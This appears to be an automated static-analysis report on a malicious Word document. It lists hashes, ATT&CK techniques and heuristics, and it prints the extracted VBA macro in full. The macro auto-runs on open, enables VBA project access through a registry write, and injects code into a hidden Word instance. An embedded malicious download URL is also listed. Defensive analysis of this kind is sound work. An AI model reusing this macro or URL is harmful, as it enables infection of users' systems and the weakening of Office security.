Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 14b0cc6886e82aa0…

MALICIOUS

Office (OOXML) / .DOC

76.3 KB Created: 2021-04-30 08:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-23
MD5: 8d7b34b727ebeb7c4a44d33d588ee78a SHA-1: 0e37afdd19d818bf4f93e4c0dd66334bda48e939 SHA-256: 14b0cc6886e82aa0df158396c67fb291bb6ebf6ca891d052c2e2c706021c5631
232 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

This OOXML document contains VBA macros, including an AutoOpen subroutine, that leverage WScript.Shell and CreateObject to write a registry value. The script attempts to establish persistence or modify security settings by writing to 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM'. The presence of WScript.Shell usage and the self-replication heuristic suggest the macro is designed to download and execute additional malicious content.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString genericVariableList
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set listboxFunc = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://popularretail2015a.com/dgsos/95P28kK8737IRCoQxRx9T71I7fP7YAotEYImRLgS/ZDjonGtrnF3ftEhFCeR3jv1fu3tzE0rTJVDydU/5y6KNXjtiHCU6UgT88X/90323/olAP5WuYJFO1DZDdERyg7LGoUFAjk2mffQDU0ysxq8rO/HZc/law10?IiPoi3pxh=Cs&sid=Rh1&vssuvZ7E7A=aHImg4kBE In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1688 bytes
SHA-256: ea654247adb59828676e88c737db478db78f7b327a7ac8bc8de1f59238cf86cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{BD1195FC-8D98-4740-923E-117F56960F2C}{D7166DCF-B970-4205-BE18-10A85ED82671}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "structCollectionLib"
Sub autoopen()
removeButton
Dim procedurePtrCollection As String
procedurePtrCollection = libSize
pasteMemory procedurePtrCollection
End Sub

Attribute VB_Name = "iteratorOptionBorder"
Sub pasteMemory(genericVariableList As String)
Set listboxFunc = CreateObject("word.application")
With listboxFunc.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString genericVariableList
End With
listboxFunc.Visible = False
listboxFunc.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "dataGenericA"
Function mainView() As String
mainView = Application.Version
End Function
Sub countLen(swapCount)
With CreateObject("wscript.shell")
.RegWrite swapCount, 1, "REG_DWORD"
End With
End Sub
Sub removeButton()
swapCount = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
ASelect = mainView
pasteExceptionPaste = "\Word\Security\AccessVBOM"
countLen swapCount & ASelect & pasteExceptionPaste
End Sub
Function libSize()
libSize = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: d15823153f095e70fea023223af0dc5d2603f2f0e15773d6db2b7e5065417c38
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.